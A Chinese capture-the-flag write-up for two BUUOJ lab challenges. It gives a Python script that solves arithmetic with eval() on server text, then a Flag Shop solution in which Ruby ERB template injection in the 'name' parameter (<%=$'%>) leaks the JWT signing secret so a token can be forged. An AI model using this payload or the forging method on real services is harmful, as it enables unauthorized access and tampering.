[GXYCTF2019]StrongestMind 计算算式1000次给flag,写一个脚本就行。重点考察正则的使用:

from time import sleep

import requests

import re

url = "http://944c02ef-5777-4072-84fa-3fabe8c45ae9.node4.buuoj.cn:81/index.php"

s = requests.session()

r = re.compile(r"[0-9]+ [+|-] [0-9]+")

res = s.get(url)

for i in range(0,1001):

sleep(0.1)

play = r.findall(res.text)[0]

result = eval(play)

print(i,end=",")

print(result)

data = {"answer":result}

res = s.post(url, data=data)

res.encoding = "utf-8"

print(res.text)

[SCTF2019]Flag Shop 有三个选项:buy flag需要你的JKL大于10e27,work可以增加你的JKL,大概是0-5的随机数,reset没用。 bp抓包看一下,这是work的,可以看到GET方法传了/work?name=bot&do=bot%20is%20working,然后你的JKL就增加了。 注意/shop返回的html页面上是没有你的JKL数量的,它是又调用了/api/info去查看的 这里的cookie是一个jwt,记录你的uid和jkl。一般想法肯定是去修改cookie里的jkl,我直接修改了然后重放会报错,看来这里是需要密钥的。尝试了jwt直接破解密钥,不行。 我又尝试了用脚本不断点击work,如果不是buu上的waf限制了访问间隔说不定还真可以,我把脚本放在这里哪位勇士想的话可以尝试一下。

from time import sleep

import requests

i=0

cok="auth=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiI1OWYxOWU0Mi03NGFiLTQyYmMtYjhjZS0wNmZlMDY0ODE1NTkiLCJqa2wiOjE1NH0.VvXFVvRaWQVH7e0PDAOJaUkdnllTXRRaqX1Yoe5puKM"

while(i<=1000000000000000000000000001):

sleep(0.2)

url = "http://8faad94e-0038-49e8-80d8-993ff1b34e56.node4.buuoj.cn:81/work?name=bot&do=bot%20is%20working"

s = requests.session()

s.headers['Cookie']=cok

res = s.get(url)

cok=res.headers['Set-Cookie']

print(res.text)

s.headers['Cookie'] = cok

url1="http://8faad94e-0038-49e8-80d8-993ff1b34e56.node4.buuoj.cn:81/api/info"

re=s.get(url1)

a1=re.text.split(':')[2][:-1]

i=int(a1)

print(a1)

print(cok)

url2 = "http://8faad94e-0038-49e8-80d8-993ff1b34e56.node4.buuoj.cn:81/shop"

result = s.post(url2)

result.encoding="utf-8"

print(result.text)

看了writeup知道是robots.txt泄露filebak,源码如下:

require 'sinatra'

require 'sinatra/cookies'

require 'sinatra/json'

require 'jwt'

require 'securerandom'

require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000

ENV["SECRET"] = SecureRandom.hex(64)

configure do

enable :logging

file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")

file.sync = true

use Rack::CommonLogger, file

end

get "/" do

redirect '/shop', 302

end

get "/filebak" do

content_type :text

erb IO.binread __FILE__

end

get "/api/auth" do

payload = { uid: SecureRandom.uuid , jkl: 20}

auth = JWT.encode payload,ENV["SECRET"] , 'HS256'

cookies[:auth] = auth

end

get "/api/info" do

islogin

auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})

end

get "/shop" do

erb :shop

end

get "/work" do

islogin

auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

auth = auth[0]

unless params[:SECRET].nil?

if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")

puts ENV["FLAG"]

end

end

if params[:do] == "#{params[:name][0,7]} is working" then

auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)

auth = JWT.encode auth,ENV["SECRET"] , 'HS256'

cookies[:auth] = auth

ERB::new("").result

end

end

post "/shop" do

islogin

auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

if auth[0]["jkl"] < FLAGPRICE then

json({title: "error",message: "no enough jkl"})

else

auth << {flag: ENV["FLAG"]}

auth = JWT.encode auth,ENV["SECRET"] , 'HS256'

cookies[:auth] = auth

json({title: "success",message: "jkl is good thing"})

end

end

def islogin

if cookies[:auth].nil? then

redirect to('/shop')

end

end

重点是这里,用了REB模板渲染,name参数是我们可控的

if params[:do] == "#{params[:name][0,7]} is working" then

auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)

auth = JWT.encode auth,ENV["SECRET"] , 'HS256'

cookies[:auth] = auth

ERB::new("").result

那么怎么样让name输出密钥呢?这里对服务器中的SECRET与我们的参数SECRET做了一次match比较(说实话我现在才知道GET还可以传SECRET)。RUBY有预定义变量$`输出上次match左边的字符串。https://docs.ruby-lang.org/en/2.4.0/globals_rdoc.html

unless params[:SECRET].nil?

if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")

puts ENV["FLAG"]

end

因此我们构造name=<%=$'%> ,要记得转成十六进制 拿到密钥构造jwt重放,获得flag。flag也是在jwt里的。

相关阅读

评论可见,请评论后查看内容,谢谢!!!评论后请刷新页面。